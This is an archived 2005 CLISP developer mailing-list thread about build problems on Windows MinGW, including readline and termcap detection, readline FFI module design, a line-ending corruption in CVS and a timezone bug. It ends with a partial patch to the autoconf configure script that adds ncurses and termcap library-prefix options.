  readline:   yes
  libsigsegv: yes

To continue building CLISP, the following commands are recommended
  (cf. unix/INSTALL step 4):
...

in config.cache only this:
ac_cv_use_readline=${ac_cv_use_readline=yes}

in config.log:
ac_cv_use_readline=yes

> 3. was "--with-readline" given to makemake?

Yes, but:

$ ./makemake --with-dynamic-ffi  --win32gcc --with-readline
--with-module=dirkey --with-module=pcre --with-module=postgresql
--with-module=rawsock --with-module=wildcard --with-module=zlib
--with-module=bindings/win32 --with-libpcre-prefix=/usr/local
--with-libreadline-prefix=/usr/local
--with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src   > Makefile
makemake: configure failed to detect readline

Why?

if change in makemake.in
      if [ "${with_readline}" != ifpossible ]; then
to
      if [ "${with_readline}" != yes ]; then

clisp is build, but without readline.

Thanks.

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>
> if change in makemake.in
>      if [ "${with_readline}" !=3D ifpossible ]; then
> to
>      if [ "${with_readline}" !=3D yes ]; then
>
> clisp is build, but without readline.
>

Originally, I was trying to make the readline interface work not as
module, but as a loaded file. I did not succeed in making it work on
Windows this way - e.g., readline function was succesfully defined,
but it did not work as expected.

Are there some fundamental differences between using FFI as a module
and as a loaded file?

Regards,
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> ./configure --with-mingw --with-readline \
>             --with-module=dirkey --with-module=pcre \
>             --with-module=postgresql --with-module=rawsock \
>             --with-module=wildcard --with-module=zlib \
>             --with-module=bindings/win32 \
>             --with-libpcre-prefix=/usr/local \
>             --with-libreadline-prefix=/usr/local \
>             --with-libpq-prefix=c:/PostgreSQL/8.0 \
>             --build build-full

> if change in makemake.in
>       if [ "${with_readline}" != ifpossible ]; then
> to
>       if [ "${with_readline}" != yes ]; then

and if delete from unixconf.h this line:
/* #undef HAVE_READLINE */
(`grep "#undef HAVE_READLINE" unixconf.h' return it)
and if add -lreadline to LIBS

$ clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3337331883) (memory 3337332520)
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a
-luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a
-L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features:
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL
COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386
 WIN32)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: C:\gnu\home\src\clisp\clisp\build-full\
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [192.168.0.1]

but... How it work?

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-10-03 15:06:34 +0200]:
>
>>
>> if change in makemake.in
>>      if [ "${with_readline}" != ifpossible ]; then
>> to
>>      if [ "${with_readline}" != yes ]; then
>>
>> clisp is build, but without readline.
>>
>
> Originally, I was trying to make the readline interface work not as
> module, but as a loaded file. I did not succeed in making it work on
> Windows this way - e.g., readline function was succesfully defined,
> but it did not work as expected.
>
> Are there some fundamental differences between using FFI as a module
> and as a loaded file?

a module is the way we bundle clisp add-ons for easy distribution.
modules may use ffi (bindings/*, wildcard, matlab) or just plain C
(syscalls, rawsock, pcre, berkeley-db).
those that use ffi may use the traditional CLISP way (generate a C file
and link it in), e.g., wildcard, or dlsym-based ffi (e.g.,
bindings/win32)
the problem with dlsym-based ffi is that some systems lack dlsym, so if
we make the readline module using dlsym it will not work on some
platforms.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-03 16:08:59 +0300]:
>
>> ./configure --with-mingw --with-readline \
>>             --with-module=dirkey --with-module=pcre \
>>             --with-module=postgresql --with-module=rawsock \
>>             --with-module=wildcard --with-module=zlib \
>>             --with-module=bindings/win32 \
>>             --with-libpcre-prefix=/usr/local \
>>             --with-libreadline-prefix=/usr/local \
>>             --with-libpq-prefix=c:/PostgreSQL/8.0 \
>>             --build build-full
>
>> if change in makemake.in
>>       if [ "${with_readline}" != ifpossible ]; then
>> to
>>       if [ "${with_readline}" != yes ]; then
>
> and if delete from unixconf.h this line:
> /* #undef HAVE_READLINE */
> (`grep "#undef HAVE_READLINE" unixconf.h' return it)
> and if add -lreadline to LIBS

configure should detect readline and add "#define HAVE_READLINE" to
unixconf and -lreadline to LIBS.
to do so it must find tgetent().
please install ncurses in addition to readline.

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-10-03 08:30:26 +0200]:
>
>> >>
>> >> does my module work for you?
>> >
>> > Mostly, but not here. Try add-defun something, and then either list
>> > all known functions, or try to get the function using named-function.
>>
>> how do I list all known functions?
> I do it by binding dump-functions to a key in inputrc and pressing the key.
> "\ea": dump-functions

cool!
how do I bind F1?
"\e[11~" (suggested in the manual) does not work.
(I use cygwin/bash)

>> > The former case is probably more instructive, as you can see that
>> > there is new function with name containing strange characters - new
>> > content of given place on stack, I guess.
>>
>> I guess :alloc :malloc-free is needed.
>>
> Yes, I did it that way and it worked. You will get a leak every time
> you change binding to same string, but why someone should do it?

this should be reflected in the (:documentation "string") of the call out.

>> well, if we are at it, why not do everything?
> There are reasons I see not to include everything :
> - unused functions will not be tested and could cause crashes

untested functions should be marked as such with a comment, e.g.:
(def-call-out foo (:name "bar") ; untested
  ....)

> - unused functions are not needed (there is lot of duplication through
> the interface)

:-)
these are the famous last words: "I don't need it, so nobody does".
let us not fall into this trap.
people _will_ complain - just like you did.

> - someone would have to write it, and I dont understand what some
> functions do, in particular how completion works.
> Of course, all can be disagreed (you wont get testing unless you include it).
>
> A style question - why are defined variables not starred?

good question.
we do not star foreign variables, see
grep -r -i def-c-var modules/
I don't know why, it's just they way it always has been.

>> Alas, the patch was corrupt (lines wrapped &c)
>> the best way would be to open a "patch" tracker issue on SF.
>> thanks.
> It is there.

thanks.
so now you can update the patch!

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Sorry to take so long to reply.

> please post a URL to your distribution and I will place it in the CLISP
> SF files area (with a proper credit).

I just moved it to:

http://www.sci.brooklyn.cuny.edu/~parsons/downloads/clisp-2.35-ppc-ppc-linux-2.6.10-1.ydl.1.tar.gz

It will get overwritten when I update the site (probably not for a week or
so); if it isn't there when you look for it, let me know and I'll repost.

> BTW, did you install libsigsegv?

Nope. Frankly I wasn't sure how/what to do and was in too much of a hurry
to get something I could use. When I get a few minutes spare I'll install
and rebuild.

Also happy to build future releases if that is useful; let me know.

> that's what I usually do - except that I would add
> --with-module=bindings/linux
> (and maybe zlib and pcre if you have them installed...)

Okay, I can give that a go (after I do the libsigsegv install).

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Date: Mon Oct  3 23:36:56 2005
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> >> how do I list all known functions?
> > I do it by binding dump-functions to a key in inputrc and pressing the =
key.
> > "\ea": dump-functions
>
> cool!
> how do I bind F1?
> "\e[11~" (suggested in the manual) does not work.
> (I use cygwin/bash)
>
On unixes, type ^v (or whatever is either bound to quoted-insert
and/or set up with stty) and press the key to see generated codes. ^]
is \e. Dont know if it works on Cygwin - I can imagine OS below
catching the key before it arrives \to bash.

You can also do (funcall (readline:named-function "dump-functions") 0 0).

> > Yes, I did it that way and it worked. You will get a leak every time
> > you change binding to same string, but why someone should do it?
>
> this should be reflected in the (:documentation "string") of the call out=
.
Speaking about documentation string, I see there are hardly any in the
modules. Is this by design, or just nobody did it? :)
>
> >> well, if we are at it, why not do everything?
> > There are reasons I see not to include everything :
> > - unused functions will not be tested and could cause crashes
>
> untested functions should be marked as such with a comment, e.g.:
> (def-call-out foo (:name "bar") ; untested
In comment or in :documentation?

>  ....)
>
> > - unused functions are not needed (there is lot of duplication through
> > the interface)
>
> :-)
> these are the famous last words: "I don't need it, so nobody does".
> let us not fall into this trap.
> people _will_ complain - just like you did.
Certainly. :) I just though of having two different functions, one
with additional argument and the other with same argument defaulted, a
bit... unlispy.
>
> thanks.
> so now you can update the patch!
:) I knew it would end this way. I can and will, but it may take some
time. What is the situation with automatic generators of lisp
def-call-outs from .h file? I heard of some, but never did any make
work.

One more note - readline-name does not work (crashes when set) as
:malloc-free neither. I guess clisp tries to free old value.

Tomas


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Hi Sam,

I finally had some time again to try to compile it again. I deleted
all clisp files from local disk and fetched them again from CVS.

Indeed rawsock.c is corrupt, but not on client side. When I open it
with hex editor, it has "0D 0D 0A" character sequence as line end /
new line instead of DOS/Win standard "0D 0A". Since that someone
uploaded DOS version of file from linux host so that CVS itself added
one extra 0D for line ends.

Could someone with checkin rights please fix this.

When I fixed file manually by removing extra "0D" from all lines in
file, it compiles again.

PS: I couldn't post a file as attachment to this group.

Thanks,
Marko

> please make sure that your sources are not corrupt.
> specifically, the like above should terminate with a backslash.
>


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Sam Steingold wrote:

> configure should detect readline and add "#define HAVE_READLINE" to
> unixconf and -lreadline to LIBS.
> to do so it must find tgetent().
> please install ncurses in addition to readline.
> 

I do not find tgetent() in ncurses (pdcurses) under mingw, but I find
tgetent() in termcap from msys packages (in CVS).

config.log:

configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c -ltermcap   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -ltermcap

but with -L/usr/local/lib test is Ok.

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cLisp from CVS head, mingw, win2k

CL-USER> (encode-universal-time 33 42 21 01 12 2003)
3279296553
CL-USER> (multiple-value-list (decode-universal-time *))
(33 42 21 1 12 2003 0 NIL -2)
CL-USER> (POSIX:SET-FILE-STAT "foo" :MTIME **)
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CL-USER> (multiple-value-list (decode-universal-time (file-write-date
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(33 42 20 1 12 2003 0 NIL -2)
CL-USER>

Oops.
21:42:33 -> 20:42:33
Why?

Thanks.

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> * Simon Parsons <cnefbaf@fpv.oebbxyla.phal.rqh> [2005-10-03 23:47:25 -0400]:
>
>> BTW, did you install libsigsegv?
>
> Nope. Frankly I wasn't sure how/what to do and was in too much of a
> hurry to get something I could use. When I get a few minutes spare
> I'll install and rebuild.

when you do, please make sure you pass the right arguments to configure:
$ ./configure --with-libdigsegv-prefix=... --with-module=rawsock ... --build build
when you do, please make sure that "clisp --version" mentions
GENERATIONAL_GC and then make the distribution available to me for
upload to SF.
thanks.

> Also happy to build future releases if that is useful; let me know.

yes, thanks.
ydl appears to be the only major linux distribution not to offer clisp.
it would be nice they could be persuaded to do so.

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-10-04 08:36:07 +0200]:
>
>> >> how do I list all known functions?
>> > I do it by binding dump-functions to a key in inputrc and pressing the key.
>> > "\ea": dump-functions
>>
>> cool!
>> how do I bind F1?
>> "\e[11~" (suggested in the manual) does not work.
>> (I use cygwin/bash)
>>
> On unixes, type ^v  and press the key to see generated codes.

duh...
thanks!

>> > Yes, I did it that way and it worked. You will get a leak every time
>> > you change binding to same string, but why someone should do it?
>>
>> this should be reflected in the (:documentation "string") of the call out.
> Speaking about documentation string, I see there are hardly any in the
> modules. Is this by design, or just nobody did it? :)

the :documentation option is a recent addition.
there are some in modules/bindings/win32/win32.lisp and now in
modules/readline/readline.lisp
please add more as you go.

>> untested functions should be marked as such with a comment, e.g.:
>> (def-call-out foo (:name "bar") ; untested
> In comment or in :documentation?

comment, and on the same line as "def-call-out" so that grep can give
the list of untested functions.
OTOH, it would be nice if they _were_ tested in test.tst.

> Certainly. :) I just though of having two different functions, one
> with additional argument and the other with same argument defaulted, a
> bit... unlispy.

pure FFI _is_ unlispy.
to get lispy behavior one has to write some C code :-)
see e.g., modules/berkeley-db/bdb.c.

> :) I knew it would end this way. I can and will, but it may take some
> time. What is the situation with automatic generators of lisp
> def-call-outs from .h file? I heard of some, but never did any make
> work.

I have never used one.
you might want to try SWIG - the recent addition.
note that CLISP FFI is more expressive that C, so it is absolutely
crucial that you carefully proof-read any generated FFI forms.

> One more note - readline-name does not work (crashes when set) as
> :malloc-free neither. I guess clisp tries to free old value.

WFM now.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-04 13:12:04 +0300]:
>
> Sam Steingold wrote:
>
>> configure should detect readline and add "#define HAVE_READLINE" to
>> unixconf and -lreadline to LIBS.
>> to do so it must find tgetent().
>> please install ncurses in addition to readline.
>> 
>
> I do not find tgetent() in ncurses (pdcurses) under mingw, but I find
> tgetent() in termcap from msys packages (in CVS).
>
> config.log:
>
> configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2
> -I/usr/local/include  conftest.c -ltermcap   >&5
> C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
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>
> but with -L/usr/local/lib test is Ok.
>
> Thanks.

try
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Hi Marko,

> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-10-04 09:46:59 +0200]:
>
> Could someone with checkin rights please fix this.
done.

> PS: I couldn't post a file as attachment to this group.

http://clisp.cons.org/impnotes/faq.html#faq-rejected

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-04 15:22:33 +0300]:
>
> cLisp from CVS head, mingw, win2k
>
> CL-USER> (encode-universal-time 33 42 21 01 12 2003)
> 3279296553
> CL-USER> (multiple-value-list (decode-universal-time *))
> (33 42 21 1 12 2003 0 NIL -2)
> CL-USER> (POSIX:SET-FILE-STAT "foo" :MTIME **)
> ; No value
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> "foo")))
> (33 42 20 1 12 2003 0 NIL -2)
> CL-USER>
>
> Oops.
> 21:42:33 -> 20:42:33
> Why?

because win32 time functions are broken.
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Hi

I got the clisp 2.35 and latest slime.
When I cave an image and then load it with Slime if
got a crash and the inferior-lisp output ending with:

;;  Loading file C:\Documents and
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...
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*** - Program stack overflow. RESET
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Sam Steingold wrote:

> try
> ./configure --with-libreadline-prefix=/usr/local
> 

cLisp from CVS head, mingw

./configure --with-mingw --with-readline \
            --with-module=dirkey --with-module=pcre \
            --with-module=postgresql --with-module=rawsock \
            --with-module=wildcard --with-module=zlib \
            --with-module=bindings/win32 \
            --with-libpcre-prefix=/usr/local \
            --with-libreadline-prefix=/usr/local \
            --with-libpq-prefix=c:/PostgreSQL/8.0 \
            --build build-full

$ ./clisp -K full --version
GNU CLISP 2.35 (2005-08-29) (built 3337664799) (memory 3337665140)
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a
-luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a
-L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features:
(ZLIB WILDCARD RAWSOCK POSTGRESQL PCRE DIRKEY REGEXP SYSCALLS I18N LOOP
COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp dirkey pcre postgresql rawsock
wildcard zlib)
Installation directory: C:\gnu\home\src\clisp\clisp\build-full\
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [192.168.0.1]

config.log:

configure:24708: checking for library containing tgetent
configure:24738: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c  >&5
C:/Temp/cceebaaa.o(.text+0x19): In function `main':
C:/gnu/home/src/clisp/clisp/build-full/conftest.c:90: undefined
reference to `tgetent'
collect2: ld returned 1 exit status
configure:24744: $? = 1
configure: failed program was:
   <program skip>
configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c -lncurses   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -lncurses
collect2: ld returned 1 exit status
configure:24799: $? = 1
configure: failed program was:
   <program skip>
configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c -ltermcap   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -ltermcap
collect2: ld returned 1 exit status
configure:24799: $? = 1
configure: failed program was:
   <program skip>
configure:24827: result: no
...

has not helped
the termcap library is present in /usr/local

Thanks.

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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2005-10-06 16:57:36 -0700]:
>
> I got the clisp 2.35 and latest slime.
> When I cave an image and then load it with Slime if
> got a crash and the inferior-lisp output ending with:
>
> ;;  Loading file C:\Documents and
> Settings\user.WINDEV\.slime\fasl\clisp-2.35-win32-pc386\swank.fas
> ...
> WARNING: Replacing method
>           #<STANDARD-METHOD
>             (#<STANDARD-CLASS SLIME-PROTOCOL-ERROR>
> #<BUILT-IN-CLASS T>)>
>          in #<STANDARD-GENERIC-FUNCTION PRINT-OBJECT>
>
> *** - Program stack overflow. RESET
> Process inferior-lisp<2> trace trap
>
> Is it a CLisp or Slime issue? How can it be fixed?

if you save an image under slime, do not re-load slime into it.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-07 12:52:50 +0300]:
>
> Sam Steingold wrote:
>
>> try
>> ./configure --with-libreadline-prefix=/usr/local
>
> the termcap library is present in /usr/local

please try the appended patch and do
./configure --with-libtermcap-prefix=/usr/local

thanks!

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Index: configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.135
diff -u -w -u -b -w -i -B -r1.135 configure
--- configure	6 Oct 2005 02:10:27 -0000	1.135
+++ configure	7 Oct 2005 14:28:10 -0000
@@ -315,7 +315,7 @@
 # include <unistd.h>
 #endif"
 
-ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBNCURSES LTLIBNCURSES LIBTERMCAP LTLIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
 ac_subst_files=''
 
 # Initialize some variables set by options.
@@ -871,6 +871,10 @@
   --with-libsigsegv-prefix[=DIR]  search for libsigsegv in DIR/include and DIR/lib
   --without-libsigsegv-prefix     don't search for libsigsegv in includedir and libdir
   --with-x                use the X Window System
+  --with-libncurses-prefix[=DIR]  search for libncurses in DIR/include and DIR/lib
+  --without-libncurses-prefix     don't search for libncurses in includedir and libdir
+  --with-libtermcap-prefix[=DIR]  search for libtermcap in DIR/include and DIR/lib
+  --without-libtermcap-prefix     don't search for libtermcap in includedir and libdir
   --with-readline         use readline (default is YES, if present)
   --with-libreadline-prefix[=DIR]  search for libreadline in DIR/include and DIR/lib
   --without-libreadline-prefix     don't search for libreadline in includedir and libdir
@@ -24707,6 +24711,887 @@
 { echo "$as_me:$LINENO: * checks for libraries" >&5
 echo "$as_me: * checks for libraries" >&6;}
 
+ac_aux_dir=
+for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do
+  if test -f $ac_dir/install-sh; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/install-sh -c"
+    break
+  elif test -f $ac_dir/install.sh; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/install.sh -c"
+    break
+  elif test -f $ac_dir/shtool; then
+    ac_aux_dir=$ac_dir
+    ac_install_sh="$ac_aux_dir/shtool install -c"
+    break
+  fi
+done
+if test -z "$ac_aux_dir"; then
+  { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in ../../src/build-aux $srcdir/../../src/build-aux" >&5
+echo "$as_me: error: cannot find install-sh or install.sh in ../../src/build-aux $srcdir/../../src/build-aux" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+ac_config_guess="$SHELL $ac_aux_dir/config.guess"
+ac_config_sub="$SHELL $ac_aux_dir/config.sub"
+ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure.
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking how to link with libncurses" >&5
+echo $ECHO_N "checking how to link with libncurses... $ECHO_C" >&6
+if test "${ac_cv_libncurses_libs+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+
+
+    use_additional=yes
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+    eval additional_includedir=\"$includedir\"
+    eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+
+# Check whether --with-libncurses-prefix or --without-libncurses-prefix was given.
+if test "${with_libncurses_prefix+set}" = set; then
+  withval="$with_libncurses_prefix"
+
+    if test "X$withval" = "Xno"; then
+      use_additional=no
+    else
+      if test "X$withval" = "X"; then
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+          eval additional_includedir=\"$includedir\"
+          eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      else
+        additional_includedir="$withval/include"
+        additional_libdir="$withval/lib"
+      fi
+    fi
+
+fi;
+      LIBNCURSES=
+  LTLIBNCURSES=
+  INCNCURSES=
+  rpathdirs=
+  ltrpathdirs=
+  names_already_handled=
+  names_next_round='ncurses '
+  while test -n "$names_next_round"; do
+    names_this_round="$names_next_round"
+    names_next_round=
+    for name in $names_this_round; do
+      already_handled=
+      for n in $names_already_handled; do
+        if test "$n" = "$name"; then
+          already_handled=yes
+          break
+        fi
+      done
+      if test -z "$already_handled"; then
+        names_already_handled="$names_already_handled $name"
+                        uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'`
+        eval value=\"\$HAVE_LIB$uppername\"
+        if test -n "$value"; then
+          if test "$value" = yes; then
+            eval value=\"\$LIB$uppername\"
+            test -z "$value" || LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$value"
+            eval value=\"\$LTLIB$uppername\"
+            test -z "$value" || LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$value"
+          else
+                                    :
+          fi
+        else
+                              found_dir=
+          found_la=
+          found_so=
+          found_a=
+          if test $use_additional = yes; then
+            if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then
+              found_dir="$additional_libdir"
+              found_so="$additional_libdir/lib$name.$shlibext"
+              if test -f "$additional_libdir/lib$name.la"; then
+                found_la="$additional_libdir/lib$name.la"
+              fi
+            else
+              if test -f "$additional_libdir/lib$name.$libext"; then
+                found_dir="$additional_libdir"
+                found_a="$additional_libdir/lib$name.$libext"
+                if test -f "$additional_libdir/lib$name.la"; then
+                  found_la="$additional_libdir/lib$name.la"
+                fi
+              fi
+            fi
+          fi
+          if test "X$found_dir" = "X"; then
+            for x in $LDFLAGS $LTLIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+              case "$x" in
+                -L*)
+                  dir=`echo "X$x" | sed -e 's/^X-L//'`
+                  if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then
+                    found_dir="$dir"
+                    found_so="$dir/lib$name.$shlibext"
+                    if test -f "$dir/lib$name.la"; then
+                      found_la="$dir/lib$name.la"
+                    fi
+                  else
+                    if test -f "$dir/lib$name.$libext"; then
+                      found_dir="$dir"
+                      found_a="$dir/lib$name.$libext"
+                      if test -f "$dir/lib$name.la"; then
+                        found_la="$dir/lib$name.la"
+                      fi
+                    fi
+                  fi
+                  ;;
+              esac
+              if test "X$found_dir" != "X"; then
+                break
+              fi
+            done
+          fi
+          if test "X$found_dir" != "X"; then
+                        LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$found_dir -l$name"
+            if test "X$found_so" != "X"; then
+                                                        if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then
+                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+              else
+                                                                                haveit=
+                for x in $ltrpathdirs; do
+                  if test "X$x" = "X$found_dir"; then
+                    haveit=yes
+                    break
+                  fi
+                done
+                if test -z "$haveit"; then
+                  ltrpathdirs="$ltrpathdirs $found_dir"
+                fi
+                                if test "$hardcode_direct" = yes; then
+                                                      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                else
+                  if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then
+                                                            LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                                                            haveit=
+                    for x in $rpathdirs; do
+                      if test "X$x" = "X$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      rpathdirs="$rpathdirs $found_dir"
+                    fi
+                  else
+                                                                                haveit=
+                    for x in $LDFLAGS $LIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                      if test "X$x" = "X-L$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir"
+                    fi
+                    if test "$hardcode_minus_L" != no; then
+                                                                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                    else
+                                                                                                                                                                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name"
+                    fi
+                  fi
+                fi
+              fi
+            else
+              if test "X$found_a" != "X"; then
+                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_a"
+              else
+                                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir -l$name"
+              fi
+            fi
+                        additional_includedir=
+            case "$found_dir" in
+              */lib | */lib/)
+                basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'`
+                additional_includedir="$basedir/include"
+                ;;
+            esac
+            if test "X$additional_includedir" != "X"; then
+                                                                                                                if test "X$additional_includedir" != "X/usr/include"; then
+                haveit=
+                if test "X$additional_includedir" = "X/usr/local/include"; then
+                  if test -n "$GCC"; then
+                    case $host_os in
+                      linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                    esac
+                  fi
+                fi
+                if test -z "$haveit"; then
+                  for x in $CPPFLAGS $INCNCURSES; do
+
+  acl_save_prefix="$prefix"
